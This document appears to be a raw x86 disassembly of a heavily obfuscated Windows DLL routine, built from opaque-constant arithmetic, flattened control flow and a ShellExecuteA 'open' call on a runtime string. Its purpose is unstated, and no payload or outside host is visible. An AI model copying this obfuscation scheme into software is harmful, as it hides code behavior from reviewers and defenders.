mov ecx, eax
and ecx, 0xc6a4a3a0
xor ecx, 0xffffffff
add eax, 0xc6a4a3a0
add eax, 1
add eax, ecx
xor eax, 0xea7ee8ad
sub eax, 0x395b9475
or eax, 0x941bfeae
mov ecx, 0xdaa23072
xor edx, edx
div ecx
mov edi, eax
mov eax, dword [ebp - 0x1c]
and edi, 0xa293748e
mov edx, 0xffffffff
xor edx, 0x224f9521
mov ecx, edi
and ecx, edx
mov edx, edi
xor edx, 0x224f9521
add edi, edx
sub edi, ecx
and edi, 0x96f87ffe
mov ecx, edi
xor ecx, 0xffffffff
and ecx, 0xe2c54d01
mov edx, 0xffffffff
xor edx, 0xe2c54d01
and edi, edx
sub edi, ecx
mov ecx, edi
and ecx, 0x5e0aac91
shl ecx, 1
xor edi, 0x5e0aac91
add edi, ecx
mov ecx, edi
and ecx, 0xa004c198
xor ecx, 0xffffffff
add edi, 0xa004c198
add edi, 1
add edi, ecx
or edi, 0x3b1476d3
and edi, 0x35213ce8
add edi, 0x53bcd1bf
sub edi, 0xbc2ae7a5
mov ecx, edi
xor ecx, 0xffffffff
and ecx, 0xcbc6f7d6
mov esi, 0xffffffff
xor esi, 0xcbc6f7d6
and edi, esi
mov edx, 0xffffffff
xor edx, 0x64abf754
and edx, 0xcbc6f7d6
and esi, 0x64abf754
or ecx, edi
or edx, esi
xor ecx, edx
imul esi, ecx, 0x2b038e43
mov ecx, esi
and ecx, 0x4ad44c8f
shl ecx, 1
add esi, 0x4ad44c8f
sub esi, ecx
add esi, 0x986b87a5
xor esi, 0x10740c4b
xor ecx, ecx
sub ecx, 0x3b00a41b
add esi, ecx
mov ecx, esi
xor ecx, 0xe9c4cea7
xor ecx, 0xffffffff
or esi, 0xe9c4cea7
and esi, ecx
mov ecx, 0x28de4734
mov edx, 0xedabc1c0
cmp esi, 0xd72d75f7
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov eax, dword [0x10229354]
xor edx, edx
div dword [0x10229358]
mov ecx, eax
mov eax, ecx
and eax, eax
xor eax, 0xffffffff
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xfbbd592d
or eax, edx
mov edx, 0xffffffff
xor edx, 0xfbbd592d
mov esi, 0xffffffff
xor esi, 0xfbbd592d
or edx, esi
and ecx, edx
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
sub eax, 0xb00fc060
and eax, 0x545f5212
mov edx, 0xffffffff
xor edx, 0x586f1619
mov ecx, eax
xor ecx, edx
and ecx, eax
mov eax, ecx
and eax, 0xb58d2e96
or ecx, 0xb58d2e96
add eax, ecx
add eax, 0x3745b868
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x83493e8f
mov edx, 0xffffffff
xor edx, 0x83493e8f
and eax, edx
sub eax, ecx
and eax, 0xfe8a0be8
mov ecx, 0xd9e7e513
xor edx, edx
div ecx
sub eax, 0xa9fe1a43
mov ecx, 0x9d52f509
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
and eax, 0x61d85e7b
shl eax, 1
xor ecx, 0x61d85e7b
add ecx, eax
xor eax, eax
sub eax, 0x3bd2a1cb
sub ecx, eax
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x9e2a2793
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, ecx
xor eax, 0x5e065fdc
mov edx, 0xffffffff
xor edx, 0x5e065fdc
and ecx, edx
shl ecx, 1
sub ecx, eax
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x61dbe81c
mov esi, 0xffffffff
xor esi, 0x61dbe81c
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0x61dbe81c
or ecx, 0x61dbe81c
imul ecx, edx
add ecx, eax
xor ecx, 0xf6d04c01
mov edx, ecx
xor edx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xdda12b39
mov esi, 0xffffffff
xor esi, 0x1c65af2f
mov eax, edx
and eax, 0x1c65af2f
mov dword [ebp - 0x6c], eax
and ecx, esi
mov ebx, edi
and ebx, 0x1c65af2f
mov eax, esi
and eax, 0xdda12b39
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x6c]
or eax, ecx
mov ecx, dword [ebp - 0x68]
or ebx, ecx
mov ecx, dword [ebp - 0x54]
xor eax, ebx
or edx, edi
xor edx, 0xffffffff
or esi, 0x1c65af2f
and edx, esi
or eax, edx
imul edx, eax, 0xbc767091
mov eax, edx
and eax, 0xcbed4724
xor edx, 0xcbed4724
or eax, edx
mov edx, eax
and edx, 0x30d8ce77
or eax, 0x30d8ce77
add edx, eax
add edx, 0x2ad75462
add edx, 0x77ef5821
sub edx, 0x7199f8b9
mov edi, 0xffffffff
xor edi, 0xebe443b
mov esi, edx
and esi, edi
mov eax, edx
or eax, edi
xor eax, 0xffffffff
imul eax, esi
mov esi, edx
and esi, 0xebe443b
or edx, 0xebe443b
imul edx, esi
add edx, eax
add edx, 0x1e284b3f
or edx, 0x6862eb3b
add edx, 0x6435bbec
add edx, 0xda385666
mov eax, edx
xor eax, 0xffffffff
mov esi, edx
xor esi, 0xffffffff
or eax, esi
and eax, 0xf360d3f2
xor eax, 0xffffffff
mov esi, 0xf360d3f2
and esi, 0xf360d3f2
xor esi, 0xffffffff
xor edx, 0xffffffff
xor esi, 0xffffffff
or edx, esi
xor eax, 0xffffffff
xor edx, 0xffffffff
or eax, edx
mov esi, 0xc41a607a
xor edx, edx
div esi
xor eax, 0xd633da52
mov esi, 0x692accf5
xor edx, edx
div esi
mov edx, eax
mov eax, dword [ebp - 0x1c]
imul esi, edx, 0xcebeba71
or esi, 0xc7c53c8d
mov ecx, dword [ecx]
and ecx, 0x10
cmp ecx, 0
setne cl
mov byte [ebp - 0x61], cl
mov ecx, 0xedabc1c0
mov edx, 0xb2034acf
cmp esi, 0xfa05bfda
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov eax, dword [0x1022935c]
xor edx, edx
div dword [0x10229360]
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x70], eax
mov esi, 0xffffffff
xor esi, 0x65061e83
mov edx, 0xffffffff
xor edx, 0x7afc21a
and eax, 0x7afc21a
and ecx, edx
mov edi, esi
and edi, 0x7afc21a
mov ebx, edx
and ebx, 0x65061e83
or eax, ecx
mov ecx, dword [ebp - 0x70]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x7afc21a
and ecx, edx
or eax, ecx
or eax, 0xa12df619
sub eax, 0x4ea6a1a8
mov edx, 0xffffffff
xor edx, 0xbe9b8b41
mov ecx, eax
xor ecx, edx
and ecx, eax
add ecx, 0x5092e350
or ecx, 0xa7804d45
mov eax, ecx
and eax, 0xdd3c1d1b
shl eax, 1
add ecx, 0xdd3c1d1b
sub ecx, eax
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x5e14f266
mov esi, 0xffffffff
xor esi, 0x5e14f266
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0x5e14f266
or ecx, 0x5e14f266
imul ecx, edx
add ecx, eax
or ecx, 0xf7f39fb0
and ecx, ecx
xor ecx, 0xffffffff
mov eax, 0x9017296b
and eax, 0x9017296b
xor eax, 0xffffffff
xor ecx, 0xffffffff
xor eax, 0xffffffff
or ecx, eax
xor ecx, 0x3667f54a
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xffffffff
xor ecx, 0xc2de43a2
mov edx, 0xffffffff
xor edx, 0xc2de43a2
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, eax
xor ecx, 0xd0b70dea
mov edx, 0xffffffff
xor edx, 0xd0b70dea
and eax, edx
shl eax, 1
sub eax, ecx
add eax, 0x2a3f670b
sub eax, 0xf2f01adc
sub eax, 0x2a3f670b
or eax, 0x3cff216d
or eax, 0xe1074f0d
mov ecx, 0x5d6d6ea
xor edx, edx
div ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x14b0c3b6
mov esi, 0xffffffff
xor esi, 0x14b0c3b6
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x14b0c3b6
or eax, 0x14b0c3b6
imul eax, edx
add eax, ecx
add eax, 0x5000a582
sub eax, 0x76baf078
mov ecx, 0x8bbc98f5
xor edx, edx
div ecx
xor eax, 0xc4b17460
sub eax, 0xfe0c59e5
add eax, 0x427960ac
add eax, 0x7f5c9bc8
add eax, 0x5d1a6cae
sub eax, 0x7f5c9bc8
mov ecx, eax
and ecx, 0x5a126d82
shl ecx, 1
add eax, 0x5a126d82
sub eax, ecx
mov edx, 0xffffffff
xor edx, 0x9349828c
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x9349828c
add eax, edx
sub eax, ecx
mov ecx, 0x838c4acc
xor edx, edx
div ecx
mov esi, 0xffffffff
xor esi, 0x112d5c81
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x112d5c81
or eax, 0x112d5c81
imul eax, edx
add eax, ecx
imul eax, eax, 0xd3af5042
mov ecx, 0xc8d64ad4
xor edx, edx
div ecx
xor eax, 0x5719fbf1
add eax, 0x3ed604cd
mov ecx, eax
and ecx, 0x13092b4c
xor ecx, 0xffffffff
add eax, 0x13092b4c
add eax, 1
add eax, ecx
mov ecx, 0x2d53d091
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
mov ecx, 0xe3d0d74c
mov edx, 0x3c42d1f2
cmp esi, 0x5e6f9dad
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov eax, dword [0x10229364]
mov ecx, dword [0x10229368]
xor ecx, 0xffffffff
add eax, ecx
add eax, 1
add eax, 0xf79a8b5
imul ecx, eax, 0x299b87e5
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xcc6b7a11
mov edx, 0xffffffff
xor edx, 0xcc6b7a11
and ecx, edx
or eax, ecx
imul eax, eax, 0xfae1031e
add eax, 0x970f744b
mov edx, eax
xor edx, 0xffffffff
and edx, 0xf8add039
mov esi, 0xffffffff
xor esi, 0xf8add039
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xf8add039
or eax, 0xf8add039
imul eax, edx
add eax, ecx
imul eax, eax, 0xf24f89bf
sub eax, 0xc29fb4d9
sub eax, 0x20e71e38
add eax, 0xc29fb4d9
mov ecx, 0x120cce91
xor edx, edx
div ecx
imul eax, eax, 0xefa3ef5f
or eax, 0x22e45dcc
xor eax, 0x5c73eaaf
or eax, 0x58a32fba
xor eax, 0xc7725fce
xor eax, 0xcf8d2424
add eax, 0xdcdc0a96
sub eax, 0xff815148
sub eax, 0xdcdc0a96
mov ecx, 0x2f3e3482
xor edx, edx
div ecx
add eax, 0x83ffe6c0
add eax, 0xa9eeadc3
xor eax, 0xa3233
imul eax, eax, 0xe05d0f38
add eax, 0x704a596f
mov ecx, 0xb5fab7d3
xor edx, edx
div ecx
mov ecx, eax
or ecx, 0x3facb67a
mov eax, ecx
and eax, 0x482546b3
shl eax, 1
add ecx, 0x482546b3
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x9a2da7d4
mov edx, 0xffffffff
xor edx, 0x9a2da7d4
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
or eax, 0xd4325b9c
mov ecx, 0x1086a271
xor edx, edx
div ecx
xor eax, 0x7da5deb6
add eax, 0xafd7292e
mov ecx, eax
and ecx, 0x18f0ee28
xor ecx, 0xffffffff
add eax, 0x18f0ee28
add eax, 1
add eax, ecx
imul eax, eax, 0x49f21a59
sub eax, 0xf7929be2
mov ecx, 0xa5e4668d
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
add esi, 0xea011954
mov ecx, 0x10dc9c6b
mov edx, 0x3c42d1f2
cmp esi, 0x3165dcac
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov eax, dword [ebp - 0x1c]
mov bl, byte [ebp - 0x61]
mov ecx, 0xf8d574a7
mov edx, 0xba1e598
test bl, 1
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov eax, dword [0x1022936c]
sub eax, dword [0x10229370]
imul eax, eax, 0x640b98e
or eax, 0x8a34805b
mov ecx, eax
and ecx, 0xb04c0968
shl ecx, 1
add eax, 0xb04c0968
sub eax, ecx
mov esi, 0xffffffff
xor esi, 0x9a9a9763
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x9a9a9763
or eax, 0x9a9a9763
imul eax, edx
add eax, ecx
sub eax, 0xacc9f2ef
imul ecx, eax, 0x381f33c2
add ecx, 0xc6fe03ea
add ecx, 0xcc16db2c
and ecx, 0xe61f2199
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xa31e737
mov edx, 0xffffffff
xor edx, 0xa31e737
and ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 0x42eaf8df
xor ecx, 0xffffffff
or eax, 0x42eaf8df
and eax, ecx
mov ecx, eax
and ecx, 0xee020ddb
shl ecx, 1
add eax, 0xee020ddb
sub eax, ecx
or eax, 0xf76944d
mov ecx, eax
and ecx, 0xbcb68edb
shl ecx, 1
add eax, 0xbcb68edb
sub eax, ecx
mov ecx, 0x98035f
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x6ec3d0d6
or eax, edx
and ecx, 0x6ec3d0d6
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
add eax, 0xe0acc74b
or eax, 0x585f8a6c
sub eax, 0x174d08e4
mov ecx, 0x2637274a
xor edx, edx
div ecx
mov edx, eax
mov eax, dword [ebp - 0x1c]
and edx, 0x7c82dd84
mov ecx, edx
xor ecx, 0xef51c067
xor ecx, 0xffffffff
and ecx, 0xef51c067
shl ecx, 1
sub ecx, 0xef51c067
sub edx, ecx
or edx, 0xfd3bb571
mov ecx, edx
xor ecx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x7e20a4f4
and ecx, esi
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x7e20a4f4
and edx, esi
or ecx, edx
xor ecx, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xfebef6f8
mov esi, 0xffffffff
xor esi, 0xfebef6f8
and ecx, esi
sub ecx, edx
or ecx, 0x50488ce2
sub ecx, 0x577e7a01
and ecx, 0xfd3610c3
mov edx, ecx
and edx, 0xa0fe7927
shl edx, 1
xor ecx, 0xa0fe7927
add ecx, edx
mov edx, 0xffffffff
xor edx, 0xb2d78fd7
mov esi, ecx
xor esi, edx
and esi, ecx
and esi, 0x7d13a16f
mov edx, esi
xor edx, 0xffffffff
and edx, 0x1ef640ed
mov edi, 0xffffffff
xor edi, 0x1ef640ed
mov ecx, esi
and ecx, edi
imul ecx, edx
mov edx, esi
and edx, 0x1ef640ed
or esi, 0x1ef640ed
imul esi, edx
add esi, ecx
and esi, 0xf60799d1
mov ecx, esi
and ecx, 0x3f8fbe5
xor ecx, 0xffffffff
add esi, 0x3f8fbe5
add esi, 1
add esi, ecx
or esi, 0x3016824f
mov ecx, 0x277218e2
mov edx, 0x20c54877
cmp esi, 0xb1a6020b
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov ecx, dword [0x10229374]
mov ebx, dword [0x10229378]
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x74], eax
mov esi, ebx
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x2e614646
and eax, 0x2e614646
and ecx, edx
mov edi, esi
and edi, 0x2e614646
and ebx, edx
or eax, ecx
mov ecx, dword [ebp - 0x74]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x2e614646
and ecx, edx
or eax, ecx
sub eax, 0x3bb0038e
xor eax, 0x27a10a9c
mov ecx, 0x14c98967
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xd56173e7
mov edx, 0xffffffff
xor edx, 0xd56173e7
and ecx, edx
or eax, ecx
imul eax, eax, 0x69828dd4
mov ecx, 0xe54a7088
xor edx, edx
div ecx
mov ecx, 0x898f83e6
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0xfffab9f4
shl ecx, 1
add eax, 0xfffab9f4
sub eax, ecx
add eax, 0xc4af0e64
and eax, 0x91e1a7e8
mov ecx, 0x73036a18
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xbab6b749
xor ecx, 0xffffffff
or eax, 0xbab6b749
and eax, ecx
mov ecx, 0x921e0627
xor edx, edx
div ecx
mov ecx, 0xa643af61
xor edx, edx
div ecx
sub eax, 0xf263583c
mov ecx, 0x91f84fe0
xor edx, edx
div ecx
xor eax, 0x6c16d021
xor eax, 0xad028412
mov ecx, 0xc0a28828
xor edx, edx
div ecx
or eax, 0xb76a41d7
mov ecx, eax
and ecx, 0x897e276d
xor eax, 0x897e276d
or ecx, eax
add ecx, 0xccf59841
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xcce2c6ac
mov eax, 0xffffffff
xor eax, 0x2165732
or ecx, edx
or eax, 0x2165732
xor ecx, 0xffffffff
and ecx, eax
or ecx, 0x7c4af780
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xf6f5b9ee
mov edx, 0xffffffff
xor edx, 0xf6f5b9ee
and ecx, edx
or eax, ecx
and eax, 0xdc6db36d
and eax, 0x34be65a6
mov ecx, eax
xor ecx, 0xffffffff
mov edx, eax
xor edx, 0xffffffff
or ecx, edx
and ecx, 0x51b530e7
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x51b530e7
mov esi, 0xffffffff
xor esi, 0x51b530e7
or edx, esi
xor eax, 0xffffffff
xor edx, 0xffffffff
or eax, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
or ecx, eax
mov eax, ecx
and eax, 0x31ea02cf
or ecx, 0x31ea02cf
add eax, ecx
mov ecx, 0x9451ae42
xor edx, edx
div ecx
mov ecx, 0x89901e24
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
sub esi, 0x7503772d
sub esi, 0x6e50e0dd
add esi, 0x7503772d
add esi, 0x6396c416
sub esi, 0x8dde81cc
sub esi, 0x6396c416
xor esi, 0x5f4db19
mov ecx, esi
xor ecx, 0x259baf8a
xor ecx, 0xffffffff
or esi, 0x259baf8a
and esi, ecx
mov ecx, 0xc2cd58d2
mov edx, 0x277218e2
cmp esi, 0x28f0276a
cmova ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov eax, dword [0x1022937c]
xor edx, edx
div dword [0x10229380]
mov ecx, 0x373ad795
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xfa996b1b
mov edx, 0xffffffff
xor edx, 0xfa996b1b
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x5bc3628b
mov ecx, 0xffffffff
xor ecx, 0xa7f4b4b0
or eax, edx
or ecx, 0xa7f4b4b0
xor eax, 0xffffffff
and eax, ecx
and eax, 0xff331992
mov esi, 0xffffffff
xor esi, 0xdf7b0d97
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xdf7b0d97
or eax, 0xdf7b0d97
imul eax, edx
add eax, ecx
add eax, 0x489c43c4
and eax, 0x4d6e81eb
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xe162a329
add ecx, eax
xor eax, eax
sub eax, ecx
and eax, eax
xor eax, 0xffffffff
mov ecx, 0x99d9b82c
and ecx, 0x99d9b82c
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
imul eax, eax, 0xd156e77b
mov ecx, 0x4b9ec879
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0x5f9925ac
or ecx, 0x5f9925ac
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
or eax, 0x566a3fae
mov ecx, 0x214027b7
xor edx, edx
div ecx
mov esi, eax
mov eax, 0xffffffff
xor eax, 0x99de2396
add esi, eax
add esi, 1
sub esi, 0xb7d2055
or esi, 0x65112d5d
add esi, 0xa007ce0b
and esi, 0x31ab631b
sub esi, 0x819d966c
sub esi, 0x59ad87cb
add esi, 0x819d966c
and esi, 0x8a80b82b
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0xd6b446b
mov edx, 0xffffffff
xor edx, 0xd6b446b
mov eax, esi
and eax, edx
imul eax, ecx
mov ecx, esi
and ecx, 0xd6b446b
or esi, 0xd6b446b
imul esi, ecx
add esi, eax
sub esi, 0x5a806966
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0x25adbbbf
mov edx, 0xffffffff
xor edx, 0x25adbbbf
mov eax, esi
and eax, edx
imul eax, ecx
mov ecx, esi
and ecx, 0x25adbbbf
or esi, 0x25adbbbf
imul esi, ecx
add esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0xaba4ce4c
mov edx, 0xffffffff
xor edx, 0xaba4ce4c
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x16ef1495
and ecx, 0xaba4ce4c
and edx, 0x16ef1495
or eax, esi
or ecx, edx
xor eax, ecx
and eax, 0x78d1ddd8
add eax, 0x80c4cc98
xor eax, 0xe9285da7
mov edx, eax
xor edx, 0xffffffff
and edx, 0xe6414803
mov esi, 0xffffffff
xor esi, 0xe6414803
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xe6414803
or eax, 0xe6414803
imul eax, edx
add eax, ecx
and eax, 0xa11c72a
mov ecx, 0x1dcf88a9
xor edx, edx
div ecx
mov ecx, 0x4991840f
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
or esi, 0x2d7a26ef
xor ecx, ecx
sub ecx, 0x268c2bf7
sub esi, ecx
mov ecx, esi
xor ecx, 0x8e7db153
xor ecx, 0xffffffff
or esi, 0x8e7db153
and esi, ecx
mov ecx, 0x843d7207
mov edx, 0x316bf17b
cmp esi, 0x98a0a4a0
cmova ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov eax, dword [0x10229384]
mov esi, dword [0x10229388]
mov edi, esi
xor edi, 0xffffffff
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, esi
or eax, esi
imul eax, edx
add eax, ecx
mov ecx, 0x8090e1fa
xor edx, edx
div ecx
add eax, 0x5792e112
mov ecx, 0xffffffff
xor ecx, 0x98125f8e
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
mov ecx, 0x16f3c9d3
xor edx, edx
div ecx
or eax, 0x9beb462e
sub eax, 0x3692b17c
xor eax, 0x8d716149
mov ecx, 0xffffffff
xor ecx, 0x4934e175
add eax, ecx
add eax, 1
and eax, 0x5f2b990
add eax, 0xcbcdf9c
mov ecx, 0xa61a6a85
xor edx, edx
div ecx
imul eax, eax, 0xf6c85a8a
imul eax, eax, 0x85887b4e
or eax, 0xcb0898a3
mov ecx, 0xbbc42bd8
xor edx, edx
div ecx
mov ecx, eax
sub ecx, 0xc0401851
add ecx, 0xa08b3ce3
add ecx, 0xc0401851
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x5559ab85
mov eax, 0xffffffff
xor eax, 0xfb2aa628
or ecx, edx
or eax, 0xfb2aa628
xor ecx, 0xffffffff
and ecx, eax
mov eax, ecx
and eax, 0x55e4e85
shl eax, 1
xor ecx, 0x55e4e85
add ecx, eax
xor eax, eax
sub eax, 0x263aae55
sub ecx, eax
xor ecx, 0x14f40c8e
xor eax, eax
sub eax, 0xbba79919
add ecx, eax
or ecx, 0x16915c1c
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0xb60e811d
or edx, 0xb60e811d
xor edx, 0xffffffff
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xb60e811d
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
or eax, 0xdaacbb2e
add eax, 0x8557fd0c
add eax, 0x95ae3355
mov edx, eax
xor edx, 0xffffffff
and edx, 0x1784aefd
mov esi, 0xffffffff
xor esi, 0x1784aefd
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x1784aefd
or eax, 0x1784aefd
imul eax, edx
add eax, ecx
mov ecx, 0xc8d8ee34
xor edx, edx
div ecx
mov ecx, 0xcd10e2c7
xor edx, edx
div ecx
sub eax, 0x8de920a9
sub eax, 0x2f8ea68e
add eax, 0x8de920a9
xor eax, 0x95ddaf
mov ecx, 0xa10dfa1a
xor edx, edx
div ecx
mov edi, eax
mov eax, dword [ebp - 0x50]
and edi, 0xa86c7659
mov ecx, edi
xor ecx, 0xffffffff
and ecx, 0xc03f6b7e
mov esi, 0xffffffff
xor esi, 0xc03f6b7e
and edi, esi
mov edx, 0xffffffff
xor edx, 0x6a3284f0
and edx, 0xc03f6b7e
and esi, 0x6a3284f0
or ecx, edi
or edx, esi
xor ecx, edx
mov esi, ecx
or esi, 0xbc3b5aa7
xor esi, 0xffffffff
or ecx, 0xbc3b5aa7
xor ecx, 0xffffffff
xor esi, 0xffffffff
xor ecx, 0xffffffff
and esi, ecx
xor ecx, ecx
lea ecx, str.open
sub esp, 0x18
mov dword [esp], 0
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
sub esp, 4
mov dword [esp], 1
call fcn.10057790
add esp, 4
mov ecx, eax
mov eax, 0x1770
cdq
idiv ecx
sub esp, 4
mov dword [esp], eax
call fcn.10057790
add esp, 4
mov eax, dword [ebp - 0x1c]
mov ecx, 0x843d7207
mov edx, 0xde14cef
cmp esi, 0xe1ac614b
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov eax, dword [0x1022938c]
add eax, dword [0x10229390]
or eax, 0x3357fb32
xor ecx, ecx
sub ecx, 0x4307a70d
add eax, ecx
sub eax, 0x5e326eb9
mov ecx, 0xf8bf9649
xor edx, edx
div ecx
mov ecx, eax
sub ecx, 0x1f23cc34
mov esi, 0xffffffff
xor esi, 0x6a448e3f
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x6a448e3f
or ecx, 0x6a448e3f
imul ecx, edx
add ecx, eax
add ecx, 0xdaddddb7
mov edx, 0xffffffff
xor edx, 0x7052fac8
mov eax, ecx
xor eax, edx
and eax, ecx
and eax, 0xfeac6c5
and eax, 0x47307937
add eax, 0x25a8bffc
mov ecx, eax
xor ecx, 0x46c82049
xor ecx, 0xffffffff
and ecx, 0x46c82049
shl ecx, 1
sub ecx, 0x46c82049
sub eax, ecx
mov ecx, 0xebf2125e
xor edx, edx
div ecx
mov esi, 0xffffffff
xor esi, 0x4d8ceef6
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x4d8ceef6
or eax, 0x4d8ceef6
imul eax, edx
add eax, ecx
mov ecx, 0x1546676d
xor edx, edx
div ecx
and eax, 0x54d9aa94
mov edx, eax
xor edx, 0xffffffff
and edx, 0x1be9c3a2
mov esi, 0xffffffff
xor esi, 0x1be9c3a2
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x1be9c3a2
or eax, 0x1be9c3a2
imul eax, edx
add eax, ecx
mov ecx, 0xad0e42cb
xor edx, edx
div ecx
sub eax, 0xe5cbb206
mov ecx, 0xdddab9b
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0x575d17c
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x3321da24
mov edx, 0xffffffff
xor edx, 0x3321da24
and ecx, edx
sub ecx, eax
mov eax, ecx
and eax, 0x3f434027
xor ecx, 0x3f434027
or eax, ecx
sub eax, 0x7c258bcc
mov ecx, 0x4aa0376e
xor edx, edx
div ecx
mov esi, 0xffffffff
xor esi, 0x8f4a1c9e
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x8f4a1c9e
or eax, 0x8f4a1c9e
imul eax, edx
add eax, ecx
mov esi, 0xffffffff
xor esi, 0x47fab76
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x47fab76
or eax, 0x47fab76
imul eax, edx
add eax, ecx
mov ecx, 0x18ffd755
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
mov esi, ecx
xor esi, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and esi, edx
mov edx, 0xffffffff
xor edx, 0xb5596023
mov edi, 0xffffffff
xor edi, 0xb5596023
and edx, edi
xor esi, 0xffffffff
xor edx, 0xffffffff
and esi, edx
or ecx, 0xb5596023
xor ecx, 0xffffffff
or esi, ecx
xor esi, 0xffffffff
